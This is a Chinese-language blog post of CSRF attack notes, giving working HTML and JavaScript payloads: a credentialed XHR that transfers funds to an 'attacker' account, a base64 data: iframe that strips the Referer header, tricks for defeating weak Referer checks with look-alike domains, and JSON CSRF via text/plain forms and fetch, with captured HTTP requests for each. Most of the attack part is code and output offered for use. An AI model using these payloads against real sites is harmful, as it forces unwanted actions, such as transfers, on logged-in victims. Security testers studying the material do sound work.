csrf中的一些小tricks

csrf漏洞最常见,也比较简单,一般结合别的漏洞放大危害,这里简单整合一下断断续续的笔记片段。

1. csrf常用的payload

一般利用js构造http请求方便后续的网页跳转。

<html>
  <body>
    <script>
      var request = new XMLHttpRequest();
      request.open("POST", "http://localhost:3000/post_transfer", false);
      request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
      request.withCredentials = true;
      try {
        request.send("quantity=10&destination_username=attacker");
      } catch (err) {
        //Do nothing on inevitable XSS error
      } finally {
        window.location = "http://www.baidu.com";
      }
    </script>
  </body>
</html>

2. csrf绕过refer的方法

2.1 允许refer为空绕过

利用ftp://,http://,https://,file://,javascript:,data:,如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。

比如利用data协议,构造如下html页面

<html>
    <body>
       <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
    </doby>
</html>

解码后为

<form method=post action=http://a.b.com/d><input type=text name='id' value='123'/></form><script>document.forms[0].submit();</script>

访问该html,拦截到的请求包为(不带refer):

POST /d HTTP/1.1
Host: a.b.com
Content-Length: 6
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

id=123

或者https网站向http网站发起请求是默认不带refer头的,当在https界面嵌入如下form(像http网站发送请求):

<form method=post action=http://a.b.com/d><input type=text name='id' value='123'/></form><script>document.forms[0].submit();</script>

拦截到的包为(不带refer头):

POST /d HTTP/1.1
Host: a.b.com
Content-Length: 6
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

id=123

当嵌入的form如下时(像https网站发送请求)

<form method=post action=https://a.b.com/d><input type=text name='id' value='123'/></form><script>document.forms[0].submit();</script>

拦截到的包为(带refer头):

POST /d HTTP/1.1
Host: a.b.com
Connection: close
Content-Length: 6
Cache-Control: max-age=0
Origin: https://saucer-man.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Sec-Fetch-Mode: navigate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: cross-site
Referer: https://saucer-man.com/operation_and_maintenance/309.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

id=123

2.2 refer判断方法有误

refer如果不能正确判断根域名那么就有被绕过的风险,比如以下几种情况。

  • 只判断是否包含某关键词
  • 只判断是否以域名或者子域名绕过
  • 基于正则匹配refer关键词可被绕过

对于第一种情况,如果服务器判断refer只要包含xxx.com即为合法请求,那么我只需要构造子域名xxx.com.hacker.com即可,或者将文件放置于xxx.com目录下面。

对于第二种情况,服务器判断refer是否以http://xxx.com,或者http://abc.xxx.com开头,那么也可以用子域名xxx.com.hacker.com绕过。

第三种情况,用正则匹配refer基本都有被绕过的风险。

3. 针对json的csrf攻击方法

Content-Type头设置为application/json的时候,游览器会自动向服务器发送OPTIONS预检请求来判断是否合法。

比如构造如下请求:

<html>
<body>
<script>
    function submitRequest()
    {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://xxx.com/a", true);
        xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.withCredentials = true;
        xhr.send(JSON.stringify({"serialNumber":"CYS1811291899"}));
    }
    submitRequest()
</script>
</body>
</html>

此时会首先发送如下请求包:

OPTIONS /a HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: null
Connection: close

如果不能得到服务端的许可,那么接下来的请求就无法发送,也就无法利用csrf。

3.1 后端只是检查格式不检查header

<html>
  <body>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
    <form id="myform" enctype="text/plain" action="http://xxx.com/a" method="POST">
        <input id="json" type="hidden" name='json' value=''>
    </form>
    <script>
        $(document).ready(function() {
            $("#json").attr("name",'{"name":"changenick6","ignore_me":"changenick"}');
            $("#myform").submit();
        })
    </script>
</form>
</body>
</html>

发送的数据包为:

POST /a HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 50
Connection: close
Upgrade-Insecure-Requests: 1

{"name":"changenick6","ignore_me":"=changenick"}

或者利用feach发请求:

<html>
<body>
<script>
fetch('https://xxx.com/a', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"username":"test0001"}'});
</script>
</body>
</html>

结果:

POST /a HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Origin: null
Content-Length: 23
Connection: close

{"username":"test0001"}

3.2 后端会检查header

如果后端检查了Content-Type,那么就无能为力了,使用flash+307的方法基本失效了

1 + 6 =
快来做第一个评论的人吧~